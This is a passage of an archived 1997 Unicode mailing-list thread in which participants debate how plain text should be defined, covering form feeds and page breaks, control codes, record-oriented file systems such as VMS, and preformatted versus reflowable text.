>and information constraints. But Devanagari and Tamil script >handling are provided in significant detail as a guide to Indian >script behavior, and there is an extensive discussion of Arabic >script shaping behavior. There is a specification >of normative behavior for Hangul combining jamo. If we could get >equally detailed expert contributions for each complex script, >I expect the inclination of the UTC and the editors would be to >include them in the standard, for everybody's benefit. That would be a very great improvement. >> multiply accented characters (IPA, math, several human languages) > >This is considered an integral part of the Unicode Standard, and >is detailed with both normative and informative sections. So should it be required in all editors? I think so. >> math > >There is a definite gap here, though the topic has been a continuing >one for the UTC. The consensus seems to be that we would like to >get a consistent model of plain text math formula construction >stated, to make such information exchangeable in Unicode plain text. There has been some good work on this reported at IUC conferences. An option in an editor, for now anyway. >> compatibility characters > >These are now completely specified in the Unicode Standard names list. It should be possible to use them, but the user should have to choose to activate them. >> private use characters > >Also specified by the standard, although the interpretation of >particular usages of private use characters is, by definition, out >of scope for the standard. But there has been some effort by people >to make available specifications of their particular private or >corporate private usage repertoires of private use characters. I don't know of any particular behavior that could be required of software, other than the option of marking them all as unrecognized. >> control codes > >If you mean by this, U+0000 .. U+001F, U+0080..U+009F and the >control chimera U+007F, then the Unicode Standard does provide >a answer. It doesn't try to reinvent control function standards, >but it says those characters should be interpreted as if they >were 16-bit analogues of the 8-bit encodings of the corresponding >control functions. Maybe unsatisfying, but probably the best we >can expect, given existing control code usage. More precision is required, I think, at least for CR, LF, HT, and FF. >> other deprecated characters > >There may be room for improvement here, but the Unicode Standard >has had to tread a little carefully here. There are political >consequences in crying out too loudly that xyz are *deprecated* >when xyz may be somebody else's favorite set they lobbied hard >to get in! We can't just forbid them, certainly. >> surrogates, especially unpaired surrogate codes > >Surrogate usage (in general, as opposed to particular encodings >for surrogate pairs, none of which exist yet) is fully specified >by the Unicode Standard. OK. Unpaired surrogate codes should be marked in some way in rendering plain text. >> non-character values > >As opposed to unassigned character values, there are only two >non-character values in Unicode: 0xFFFE and 0xFFFF. The standard >specifies that 0xFFFE is the illegal byte-swapped version of >U+FEFF. The use of 0xFFFF is deliberately unspecified and is >untransmissible by design. Why do I think someone is going to decide to use it? :( >> text processing algorithms (sorting, upper and lower case, pattern matching) > >Default case mapping is provided as an informative part of the >Unicode Standard. Language-specific casing is effectively also >a part of the standard, since everybody knows the few instances >in question: Turkish i, the debatable French accents, German �, etc., >and they are discussed in the standard. > >Beyond that, sorting, pattern matching, etc. are out of scope of >the Unicode Standard (though some implementation guidelines are >provided), and, in my opinion, appropriately belong to other standards >under development. The question is to some degree whether there is or will be a standard library of string functions, as there has been in C and C++. Of course I recognize that there were many such libraries, and perhaps that is unavoidable. >> Full portability of data requires some rules. If there is no standard, >> users of ""Unicode text files"" will make every possible choice about each of >> these issues. CRLF will be nothing in comparison. We have begun to see >> programs that can handle CRLF, CR alone, and LF alone, either line-by-line >> or in paragraph format, reading and writing in any option. The range of >> choices for Unicode is far greater, and I don't want to think about how >> long it would take to achieve unity if we don't do it now. > >Yes, but... The goal is interchangeable plain text that is legible >when interpreted and rendered in accord with the standard. The goal >is not to force everyone to ""spell"" multilingual text exactly the >same way. The drafters of the Unicode Standard tried to place normative >requirements on plain text where failure to do so would lead to >complete chaos. Obvious examples are specification that combining >marks must follow (not precede) their base character, and specification >of the complete bidi algorithm. Failure to specify either of these >would clearly have led to uninterpretable gibberish if everyone >made up their own rules, and that was clearly understood by the >members of the Unicode Technical Committee. I think the best way to discuss this is over some sample texts. I don't know how much time I can put into this, but if I can I will go through the standard and see if I can pick out anything else that might be a problem. >But one draws the line somewhere. No one wants to legislate against >people, for example, making cross-linguistic puns in text by >spelling out Russian words with Latin letters, or any other >""inappropriate"" or creative usage of the characters at >their disposal, once Unicode implementations become more widely >available. Half the joy of having universal multilingual text >implemented on computers will be seeing what creative and fantastic >new inventions millions of users put it to. > >--Ken Whistler Think of the smilies we can make. %-] -- Edward Cherlin Help outlaw Spam Everything should be made Vice President http://www.cauce.org as simple as possible, NewbieNet, Inc. 1000 members and counting __but no simpler__. http://www.newbie.net/ 17 May 97 Attributed to Albert Einstein 22-May-97 22:24:46-GMT,1378;000000000011 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id SAA27950 for ; Thu, 22 May 1997 18:24:43 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA05533; Thu, 22 May 97 13:37:39 -0700 Message-Id: <9705222037.AA05533@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2673 (1997-05-22 20:37:12 GMT) To: Multiple Recipients of Reply-To: ""Tony Harminc"" From: ""Unicode Discussion"" Date: Thu, 22 May 1997 13:37:11 -0700 (PDT) Subject: Re: Unicode plain text How do record oriented file systems fit into this discussion ? (Remember those file systems that ruled the world before the UNIX idea of the byte stream came along...) I imagine the short answer is ""they don't"", and the longer one is something about record oriented files being fine, as long as the semantics of the defined control characters are honoured. What I'm getting at, though, is whether there is anything in the definition of Unicode plain text that disallows such files. Is there a mapping between the out-of-band record markers and Unicode separators ? It seems trivially obvious to map to/from . Or is this something that no one thinks should even be addressed ? Tony Harminc 22-May-97 22:26:48-GMT,2034;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id SAA28229 for ; Thu, 22 May 1997 18:26:46 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA05800; Thu, 22 May 97 14:34:52 -0700 Message-Id: <9705222134.AA05800@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2674 (1997-05-22 21:34:21 GMT) To: Multiple Recipients of Reply-To: Timothy Partridge From: ""Unicode Discussion"" Date: Thu, 22 May 1997 14:34:17 -0700 (PDT) Subject: Re: Unicode plain-text file In message <9705220812.AA01704@unicode.org> you recently said: > > >> ** FF is higher-level formatting, you'd have to interpret it separately. > >> @@ In particular, you would definitely interpret it as a block separator. > > No, no, please, no! Whitespace, please, or some new category. FF can come > in the middle of a paragraph, or a sentence, or even a word. I'm not sure I understand your reasoning. During rendering a page break can occur anywhere in the same way that a new line may be started anywhere as a line becomes too full. (I'm using anywhere rather loosely.) Wasn't the question about *forcing* a page break - surely this wouldn't normally be done within a paragraph or smaller part. (Or were you thinking of text streams that have already been formatted by some other process but are now plain text with line breaks etc. added by where the formatting process felt they ought to be.) I feel that adding FF may be part of a slippery slope to pretty text. What about starting a new column or keeping text together? Someone else suggested that New Line should just be white space not a block separator. I don't agree - surely a paragraph is (usully) a new line with some extra white space added - this implies the semantics should be similar. Tim -- Tim Partridge. Any opinions expressed are mine only and not those of my employer 22-May-97 23:00:17-GMT,2344;000000000001 Return-Path: Received: (from fdc@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id TAA04612; Thu, 22 May 1997 19:00:12 -0400 (EDT) Date: Thu, 22 May 97 19:00:11 EDT From: Frank da Cruz To: ""Tony Harminc"" Cc: Multiple Recipients of Subject: Re: Unicode plain text In-Reply-To: Your message of Thu, 22 May 1997 13:37:11 -0700 (PDT) Message-ID: > How do record oriented file systems fit into this discussion ? > (Remember those file systems that ruled the world before the UNIX > idea of the byte stream came along...) > They are far from dead; IBM VM/CMS and Digital (Open)VMS, to name two, are still widespread. But VM/CMS and other IBM mainframe and midrange operating systems use EBCDIC text encoding and I am not aware of any movement to support Unicode in this setting, at least not internally. In VMS, most text files are record oriented -- usually variable length records, with end of line *implied* for each record, but not recorded in any particular format. This is actually quite a sensible approach, given the wide variety of text-stream formats that abound for no good reason. In principle, it should be just as possible to fill records with Unicode as it is to fill them with ASCII, Latin-1, or JIS X 0208. The VMS file system also supports the notion of ""carriage control"", of which there are many types (like the once-familiar Fortran Hollerith style, in which the first character specified whether the line was to overprint the previous line, appear on the next line, appear 2 lines down, etc, or start on a new page). The carriage control information, again, is separate from the file's data. So again, in principle, there should be no clash with Unicode. In fact, I think a VMS implementation of Unicode text might be an interesting exercise. But this too begs the question of how to map Unicode plain text into this environment, which in turn calls for a Unicode plain-text standard for such things as page breaks. And no, I don't think this brings us anywhere near any slippery slopes. Page breaks have been an integral part of plain text since the 1950s when we were programming IBM 409 Electric Accounting Machines by sticking little wires into plugboards. - Frank 22-May-97 23:59:19-GMT,1434;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id TAA13839 for ; Thu, 22 May 1997 19:59:18 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA06394; Thu, 22 May 97 15:59:25 -0700 Message-Id: <9705222259.AA06394@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2676 (1997-05-22 22:59:12 GMT) To: Multiple Recipients of Reply-To: kenw@sybase.com (Kenneth Whistler) From: ""Unicode Discussion"" Date: Thu, 22 May 1997 15:59:10 -0700 (PDT) Subject: Re: Unicode plain-text file Tim Partridge wrote: > Someone else suggested that New Line should just be white space not a block > separator. I don't agree - surely a paragraph is (usully) a new line with > some extra white space added - this implies the semantics should be similar. Please be extra careful here. The suggestion specifically was that U+2028 LINE SEPARATOR (not NL nor LF functioning as newline) should be considered WS (a technical category of the bidi algorithm, not white space as processed, for example in a C preprocessor, or white space meaning unprinted area on a text page) rather than BS (another technical category of the bidi algorithm which is used to determine the boundaries of directional blocks). Cf. pages 3-15 and 3-17 of the Unicode Standard. --Ken Whistler 23-May-97 1:27:28-GMT,3553;000000000011 Return-Path: Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.42]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id VAA26026 for ; Thu, 22 May 1997 21:27:28 -0400 (EDT) Received: by INET-02-IMC with Internet Mail Service (5.0.1458.30) id ; Thu, 22 May 1997 18:27:29 -0700 Message-ID: <61CDD2C9A961CF11B6A000805FD40AA90368E0AC@RED-84-MSG.dns.microsoft.com> From: Murray Sargent To: ""'Frank da Cruz'"" Cc: ""'unicode@unicode.org'"" Subject: RE: Unicode plain text Date: Thu, 22 May 1997 18:27:26 -0700 X-Priority: 3 X-Mailer: Internet Mail Service (5.0.1458.30) I think page breaks given by (0xC) belong in the block separator category and imply an end of paragraph. Page breaks that come in the middle of a paragraph or word should be called _soft_ page breaks much as we have soft line breaks. We could talk about adding an optional page-break analogous to the optional hyphen (0xAD), but computer folklore of the years clearly indicates that shouldn't be overloaded for this purpose. (Off hand, I don't think an optional pagebreak would be a useful code to have, since you'd really like to have the semantic ""eject if within n lines of the page bottom."" Such a semantic requires the number n, which doesn't fit into a single code position.) Murray > -----Original Message----- > From: Unicode Discussion [SMTP:unicode@unicode.org] > Sent: Thursday, May 22, 1997 4:00 PM > To: Multiple Recipients of > Subject: Re: Unicode plain text > > > How do record oriented file systems fit into this discussion ? > > (Remember those file systems that ruled the world before the UNIX > > idea of the byte stream came along...) > > > They are far from dead; IBM VM/CMS and Digital (Open)VMS, to name > two, are still widespread. But VM/CMS and other IBM mainframe > and midrange operating systems use EBCDIC text encoding and I am > not aware of any movement to support Unicode in this setting, > at least not internally. > > In VMS, most text files are record oriented -- usually variable > length records, with end of line *implied* for each record, but > not recorded in any particular format. This is actually quite a > sensible approach, given the wide variety of text-stream formats > that abound for no good reason. > > In principle, it should be just as possible to fill records with > Unicode as it is to fill them with ASCII, Latin-1, or JIS X 0208. > > The VMS file system also supports the notion of ""carriage control"", > of which there are many types (like the once-familiar Fortran > Hollerith style, in which the first character specified whether the > line was to overprint the previous line, appear on the next line, > appear 2 lines down, etc, or start on a new page). The carriage > control information, again, is separate from the file's data. So > again, in principle, there should be no clash with Unicode. > > In fact, I think a VMS implementation of Unicode text might be an > interesting exercise. But this too begs the question of how to > map Unicode plain text into this environment, which in turn calls > for a Unicode plain-text standard for such things as page breaks. > > And no, I don't think this brings us anywhere near any slippery > slopes. > Page breaks have been an integral part of plain text since the 1950s > when we were programming IBM 409 Electric Accounting Machines by > sticking little wires into plugboards. > > - Frank 23-May-97 1:28:50-GMT,4054;000000000001 Return-Path: Received: from halon.sybase.com (halon.sybase.com [192.138.151.33]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id VAA26150 for ; Thu, 22 May 1997 21:28:49 -0400 (EDT) Received: from smtp1.sybase.com (sybgate.sybase.com [130.214.220.35]) by halon.sybase.com (8.8.4/8.8.4) with SMTP id SAA03968; Thu, 22 May 1997 18:32:06 -0700 (PDT) Received: from birdie.sybase.com by smtp1.sybase.com (4.1/SMI-4.1/SybH3.5-030896) id AA28055; Thu, 22 May 97 18:30:19 PDT Received: by birdie.sybase.com (5.x/SMI-SVR4/SybEC3.5) id AA23641; Thu, 22 May 1997 18:28:46 -0700 Date: Thu, 22 May 1997 18:28:46 -0700 From: kenw@sybase.com (Kenneth Whistler) Message-Id: <9705230128.AA23641@birdie.sybase.com> To: fdc@watsun.cc.columbia.edu Subject: Re: Unicode plain text Cc: unicode@unicode.org, kenw@sybase.com X-Sun-Charset: US-ASCII > > > How do record oriented file systems fit into this discussion ? > > (Remember those file systems that ruled the world before the UNIX > > idea of the byte stream came along...) > > [snip] > > In principle, it should be just as possible to fill records with > Unicode as it is to fill them with ASCII, Latin-1, or JIS X 0208. And in practice. The portable Unicode backend library I have written merrily reads and writes Unicode plain text into MVS and VMS filing systems through standard C file interfaces. No problem. I just don't depend on MVS or VMS to provide any specific interpretations of *anything* in those files, nor would I want to, to stay portable. > > The VMS file system also supports the notion of ""carriage control"", > of which there are many types (like the once-familiar Fortran > Hollerith style, in which the first character specified whether the > line was to overprint the previous line, appear on the next line, > appear 2 lines down, etc, or start on a new page). The carriage > control information, again, is separate from the file's data. So > again, in principle, there should be no clash with Unicode. > > In fact, I think a VMS implementation of Unicode text might be an > interesting exercise. Only *interesting* in the sense you mean if you depended on VMS for anything other than basic system services underneath a C library. To be portable, everything else would be built on layers of support libraries independent of VMS. > But this too begs the question of how to > map Unicode plain text into this environment, which in turn calls > for a Unicode plain-text standard for such things as page breaks. I agree with Tim that page breaks are on the slippery slope to pretty text. Pagination is not necessary for legibility of plain text in the same sense that line breaking (forced in some instances) or paragraph breaking (required among other things for bidi directional control) are. Furthermore, since pagination assumes much more about actual rendering devices, forced pagination is as often a source of illegibility. (Think of all those preformatted documents you've seen at one time or another that on your device display or print with one or two lines spilled over to the next page for each forced page.) I suspect that the device dependency of pagination is one of the reasons why HTML doesn't use a built-in concept of page-break on display or FF. > > And no, I don't think this brings us anywhere near any slippery slopes. > Page breaks have been an integral part of plain text since the 1950s > when we were programming IBM 409 Electric Accounting Machines by > sticking little wires into plugboards. Again, think device dependency here. FF used to literally be the electronic control for the ""Form Feed"" on a particular device. It moved a mechanical device that shoved paper out and new paper in. In modern Page Description Languages such as PostScript, an operator such as showpage is a high-level operation that dumps a frame buffer to a smart raster device. Trying to control such operations by embedding an FF control character in plain text is pretty klutzy. --Ken > > - Frank > 23-May-97 4:12:51-GMT,4953;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id AAA17192 for ; Fri, 23 May 1997 00:12:50 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA07465; Thu, 22 May 97 20:50:55 -0700 Message-Id: <9705230350.AA07465@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2682 (1997-05-23 03:50:06 GMT) To: Multiple Recipients of Reply-To: Murray Sargent From: ""Unicode Discussion"" Date: Thu, 22 May 1997 20:50:05 -0700 (PDT) Subject: RE: Unicode plain text But back in the '60s and early '70s we had line printers (with fixed-width characters) and would ship ""plain-text"" documents to them preformatted with the desired line and page breaks. Such breaks consisted of hard CRLFs and FFs to control the line printer, and they could appear in the middle of a paragraph or word. Similarly these codes create such breaks on most modern printers. So in this sense, an FF can come in the middle of a paragraph or even a word. But this should be something down at the printer device-driver level. It would be a bad choice for file storage (unless it's a printer file). To date, Unicode has avoided defining control characters except for the TAB and NULL, precisely because there were multiple uses for these characters. The Unicode Standard states that ""the others may be interpreted according to ISO/IEC 6429"". Nevertheless, Frank's recommendation that Unicode fill in some of the other control-character semantics seems compelling, if only on a recommendation basis. We could, for example, enumerate the most common usages of the control characters CR, LF, VT, and FF in contemporary software. Murray > -----Original Message----- > From: Unicode Discussion [SMTP:unicode@unicode.org] > Sent: Thursday, May 22, 1997 6:27 PM > To: Multiple Recipients of > Subject: RE: Unicode plain text > > I think page breaks given by (0xC) belong in the block separator > category and imply an end of paragraph. Page breaks that come in the > middle of a paragraph or word should be called _soft_ page breaks much > as we have soft line breaks. We could talk about adding an optional > page-break analogous to the optional hyphen (0xAD), but computer > folklore of the years clearly indicates that shouldn't be > overloaded for this purpose. (Off hand, I don't think an optional > pagebreak would be a useful code to have, since you'd really like to > have the semantic ""eject if within n lines of the page bottom."" Such > a > semantic requires the number n, which doesn't fit into a single code > position.) > > Murray > > > -----Original Message----- > > From: Unicode Discussion [SMTP:unicode@unicode.org] > > Sent: Thursday, May 22, 1997 4:00 PM > > To: Multiple Recipients of > > Subject: Re: Unicode plain text > > > > > How do record oriented file systems fit into this discussion ? > > > (Remember those file systems that ruled the world before the UNIX > > > idea of the byte stream came along...) > > > > > They are far from dead; IBM VM/CMS and Digital (Open)VMS, to name > > two, are still widespread. But VM/CMS and other IBM mainframe > > and midrange operating systems use EBCDIC text encoding and I am > > not aware of any movement to support Unicode in this setting, > > at least not internally. > > > > In VMS, most text files are record oriented -- usually variable > > length records, with end of line *implied* for each record, but > > not recorded in any particular format. This is actually quite a > > sensible approach, given the wide variety of text-stream formats > > that abound for no good reason. > > > > In principle, it should be just as possible to fill records with > > Unicode as it is to fill them with ASCII, Latin-1, or JIS X 0208. > > > > The VMS file system also supports the notion of ""carriage control"", > > of which there are many types (like the once-familiar Fortran > > Hollerith style, in which the first character specified whether the > > line was to overprint the previous line, appear on the next line, > > appear 2 lines down, etc, or start on a new page). The carriage > > control information, again, is separate from the file's data. So > > again, in principle, there should be no clash with Unicode. > > > > In fact, I think a VMS implementation of Unicode text might be an > > interesting exercise. But this too begs the question of how to > > map Unicode plain text into this environment, which in turn calls > > for a Unicode plain-text standard for such things as page breaks. > > > > And no, I don't think this brings us anywhere near any slippery > > slopes. > > Page breaks have been an integral part of plain text since the 1950s > > when we were programming IBM 409 Electric Accounting Machines by > > sticking little wires into plugboards. > > > > - Frank 23-May-97 14:50:25-GMT,5993;000000000001 Return-Path: Received: (from fdc@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id KAA08237; Fri, 23 May 1997 10:50:06 -0400 (EDT) Date: Fri, 23 May 97 10:50:06 EDT From: Frank da Cruz To: Murray Sargent Cc: ""'unicode@unicode.org'"" Subject: RE: Unicode plain text In-Reply-To: Your message of Thu, 22 May 1997 18:27:26 -0700 Message-ID: Murray Sargent wrote: > I think page breaks given by (0xC) belong in the block separator > category and imply an end of paragraph. Page breaks that come in the > middle of a paragraph or word should be called _soft_ page breaks much > as we have soft line breaks. ... > This is GUI thinking. Think ""plain text"", no rendering engines. is a hard, unconditional page break. Think of running off monthly paychecks on your lineprinter, or addressing envelopes (and spelling peoples' names correctly in hundreds of languages -- imagine that!). kenw@sybase.com (Kenneth Whistler) wrote: > > In principle, it should be just as possible to fill records with > > Unicode as it is to fill them with ASCII, Latin-1, or JIS X 0208. > > And in practice. The portable Unicode backend library I have > written merrily reads and writes Unicode plain text into MVS and > VMS filing systems through standard C file interfaces. No problem. > I just don't depend on MVS or VMS to provide any specific interpretations > of *anything* in those files, nor would I want to, to stay portable. > It's funny how the pendulum swings. Back in the old days we didn't even have file systems, just boxes of cards. Then we developed complex file systems based on punched-card ideas (look at your old OS/360 JCL manual). Then we reacted against all of that complexity and said ""a file is just a stream of bytes"" with imbedded control information. Now the simplicity of the stream approach is coming back to bite us because of all the differing interpretations of the imbedded controls, since no standard was ever set for their use in files. Now we see that there is something to be said for keeping the control information out of band -- it makes it really simple to change coding systems. But anybody who has ever done VMS Record Management System programming knows that the price is complexity and loss of portability. You can't just ""copy"" a VMS file to DOS or UNIX, you have to ""export"" it from the file system and convert its record information to the appropriate stream format. Nor can you run an RMS program on a non-VMS system. If we had it all to do over again -- and we do -- we could retain the simplicity of the stream model without the confusion by precisely defining a set of controls that may be imbedded, as we have done for LS and PS. This will allow for both portable data AND portable software. > I agree with Tim that page breaks are on the slippery slope to pretty > text. Pagination is not necessary for legibility of plain text in > the same sense that line breaking (forced in some instances) or > paragraph breaking (required among other things for bidi directional > control) are. Furthermore, since pagination assumes much more > about actual rendering devices, forced pagination is as often a > source of illegibility. (Think of all those preformatted documents > you've seen at one time or another that on your device display or print > with one or two lines spilled over to the next page for each forced > page.) I suspect that the device dependency of pagination is one > of the reasons why HTML doesn't use a built-in concept of page-break > on display or FF. > This is all true, but that does not mean there should be no such thing as a forced page break. Paychecks. Envelopes. Like any tool, a hard page break can be used for good or evil. It's not the tool's fault. > Again, think device dependency here. FF used to literally be the > electronic control for the ""Form Feed"" on a particular device. It > moved a mechanical device that shoved paper out and new paper in. > Yes, we still do these things. Murray Sargent said: > > But back in the '60s and early '70s we had line printers (with > fixed-width characters) and would ship ""plain-text"" documents to them > preformatted with the desired line and page breaks. Such breaks > consisted of hard CRLFs and FFs to control the line printer, and they > could appear in the middle of a paragraph or word. Similarly these > codes create such breaks on most modern printers. So in this sense, an > FF can come in the middle of a paragraph or even a word. But this > should be something down at the printer device-driver level. It would > be a bad choice for file storage (unless it's a printer file). > Again, printer files are common practice, and they are not sent only to printers. They are also viewed on terminals, ""straight no chaser"" or in a text editor, and they are shipped around among diverse platforms. There is no reason to try to stamp out this practice. It has its legitimate uses. > To date, Unicode has avoided defining control characters except for the > TAB and NULL, precisely because there were multiple uses for these > characters. The Unicode Standard states that ""the others may be > interpreted according to ISO/IEC 6429"". > I agree that ASCII and ISO 6429 control characters are mess, and that is why it is important to precisely define a minimal set for use in Unicode plain text. This might be done by defining semantics for the existing C0 and C1 control characters, or by adding new ones. This will not only make Unicode able to stand on its own, but it will allow export and import of fancy text between incompatible GUI applications. And it will provide a Common Intermediate Representation for plain text that can last for decades, while the corporations slug it out in the marketplace over their three-letter acronyms du jour. - Frank 24-May-97 0:29:40-GMT,1048;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id UAA16623 for ; Fri, 23 May 1997 20:29:39 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA10499; Fri, 23 May 97 16:59:08 -0700 Message-Id: <9705232359.AA10499@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2686 (1997-05-23 23:58:54 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Fri, 23 May 1997 16:58:53 -0700 (PDT) Subject: Re: Unicode plain text In message ""Re: Unicode plain text"", 'fdc@watsun.cc.columbia.edu' writes: > And no, I don't think this brings us anywhere near any slippery slopes. > Page breaks have been an integral part of plain text since the 1950s > when we were programming IBM 409 Electric Accounting Machines by > sticking little wires into plugboards. I have to agree. Don't RFCs all come with FFs in them? Pierre 25-May-97 7:08:25-GMT,2860;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id DAA02704 for ; Sun, 25 May 1997 03:08:24 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA13201; Sat, 24 May 97 23:43:12 -0700 Message-Id: <9705250643.AA13201@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 2689 (1997-05-25 06:42:40 GMT) To: Multiple Recipients of Reply-To: Edward Cherlin From: ""Unicode Discussion"" Date: Sat, 24 May 1997 23:42:37 -0700 (PDT) Subject: Re: Unicode plain text Timothy Partridge wrote: >We seem to have two different requirements for plain text here. >Now my assumption was that we would mostly want to use one type, whereas >there seems to be a strong demand for another. At the risk of teaching >you all to suck eggs I will contrast and compare them at some length. >I hope you will find a useful point or two. This is exactly what I was trying to get at in earlier messages. I would say that there are other requirements in other cases, and it would be worth our while to make a stab at enumerating them so we have some idea of what we are talking about. Here are some of the common uses of ""plain text"", each having a different purpose and different constraints: E-mail Printer command files--ASCII, PostScript Source code--programming, SGML, HTML, TeX Encoded binaries--UUencode, UTF-7 Transfer formats--RTF, APL Workspace Interchange Archiving Portability Database Application file formats Constraints on line length vary widely. I have seen database files with lines of nearly 1000 characters, and of course there is the theorem that any computable function can be expressed in one line of APL. :-) Other constraints will also vary widely. We must allow for this variation, and only specify what we have to. >First the type I had assumed as the default. >I would call this logical formatting. [snip] > The second type I would call physical formatting. [snip] The snipped analysis was quite good, although a few points might be argued. One of the best points is that we can require a certain competence from a Unicode renderer. The implementor can decide which character ranges to support, but having done that must support certain features in the way specified in the standard. This mechanism can be extended to cover some of the requirements of various text file usages. -- Edward Cherlin Help outlaw Spam Everything should be made Vice President http://www.cauce.org as simple as possible, NewbieNet, Inc. 1000 members and counting __but no simpler__. http://www.newbie.net/ 17 May 97 Attributed to Albert Einstein 25-May-97 15:45:55-GMT,4499;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id LAA23257 for ; Sun, 25 May 1997 11:45:54 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA13742; Sun, 25 May 97 08:01:25 -0700 Message-Id: <9705251501.AA13742@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2691 (1997-05-25 15:01:09 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Sun, 25 May 1997 08:01:07 -0700 (PDT) Subject: Re: Unicode plain text In message ""Re: Unicode plain text"", 'timpart@perdix.demon.co.uk' writes: > We seem to have two different requirements for plain text here. > ... > > First the type I had assumed as the default. > I would call this logical formatting. > ... This first type (usually the result of ""save as text"" from some WP) always causes me trouble and I usually have to reformat it before I can do anything with it (such as printing it). > The second type I would call physical formatting. > The text has already been formatted by the author into lines and > paragraphs... I think the second type is by far the most common and is what I consider to be plain text: o It's the format of all RFCs, perhaps the most widely-read plain-text files around, o It's the format of the vast majority of email and Usenet posts I read (but I do see some type 1 stuff), o It's the format of much e-documentation that comes with many S/W (eg. linux, TeX (at least installation), X.11, ...), o It's the natural format of all a2ps (ascii-to-postscript) converters I've come across, and (last but not least) o It's the format chosen by project Gutenberg, the wonderful collection of English texts. I have a dream here, of a multi-lingual project Gutenberg with classics in various languages, and, of course, in plain-text Unicode.... (URL: ftp://uiarchive.cso.uiuc.edu/pub/etext/ ) I'd be really curious to see how one would express RFC2070, on ""Internationalization of the Hypertext Markup Language"", as a type 1 plain-text file (for those looking for a challenge: type 2 plain-text file of this RFC is at: http://ds.internic.net/rfc/rfc2070.txt). Of course, type 2 means some assumptions. > * The author knows exactly how many characters fit on a line. (Often > there is also the assumption that each character is fixed width.) True enough, and that may break down somewhat with ideograms (surely one can't fit 80 of those on a line). But, in general, staying under 80 chars will give a plain-text file that most can print. I rarely have trouble printing a plain-text file of this second type. And I think this will work with a lot of scripts, eg. Russian, Greek, Hebrew, Arabic. > * The author knows exactly how many lines fit on a page. Most plain-text files have no FFs, but when they do (as RFCs do), it's not too difficult to be conservative so that again most folks can print them with no problem. I don't see FFs as being on the slippery slope to pretty text. Besides their use in RFCs (so the TOC can be paginated), they're also often used to separate ""chapters"". For example, I'll save all the posts on the current threads, and I'll probably put an FF between each one so that, if/when I print the whole thing, I'll get each post to start on a new page. > * The author knows in which sequence the characters in a line will > be printed. (Usually assumes left to right without any reordering.) That's where it gets interesting (and why I had a few questions a few days ago). The only ordering possible within the plain-text Unicode file is of course logical. So that means a bit more intelligence in the a2ps conversion or in the display engines. Or, in despair, such a file could be put thru a filter that would reorder it into visual ordering for local consumption. In summary, notwithstanding some difficulties, I still think a plain-text Unicode file of the second type above makes perfect sense and would be very useful. I'm still not too sure how exactly I would encode it (wrt controls), but this thread has been quite helpful. Btw, this type 1 vs type 2 is a very useful distinction, and I think therein lies the source of much confusion in the current threads. Pierre lew@nortel.ca P.S. It's probable that my view of things is somewhat colored by my Unix bigotry. But still... 25-May-97 23:42:24-GMT,3079;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id TAA17171 for ; Sun, 25 May 1997 19:42:23 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA14407; Sun, 25 May 97 16:23:13 -0700 Message-Id: <9705252323.AA14407@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2692 (1997-05-25 23:22:41 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Sun, 25 May 1997 16:22:39 -0700 (PDT) Subject: RE: Unicode plain text In message ""RE: Unicode plain text"", Murray writes: > The preformatted plain text works OK as long as you have no plans to > modify it. If you want to edit it, then you have to worry about > reflowing the lines ... Most decent plain-text editors have facilities for that. > ... But even much older software was adept at formatting text. > E.g., troff and TeX have been around for years and do beautiful jobs of > formatting text. Of course, so does HTML today. But none of that is plain text, troff, TeX and HTML require some processing intelligence that may no longer be around in 30 years. That may not be available everywhere. Is there a specification somewhere that tells me how type 1 plain text (using Tim's terminology again for a moment) will be formatted for display and printing? Will things such as the following be dealt with properly? This is a recursive bulleted list. o Bullet one, a very long line..... that folds: - subbullet one a, another long line.... that folds; - a second subbullet o Bullet two. Can I rely on this intelligence to always yield something that reflects my intentions? With recursive bullet lists? With tables. Etc. Ah, maybe that's what some folks mean when they ask for a standard for plain text in Unicode?! Or am I not more likely to see things such as what your email software did to my original post: > > o It's the format 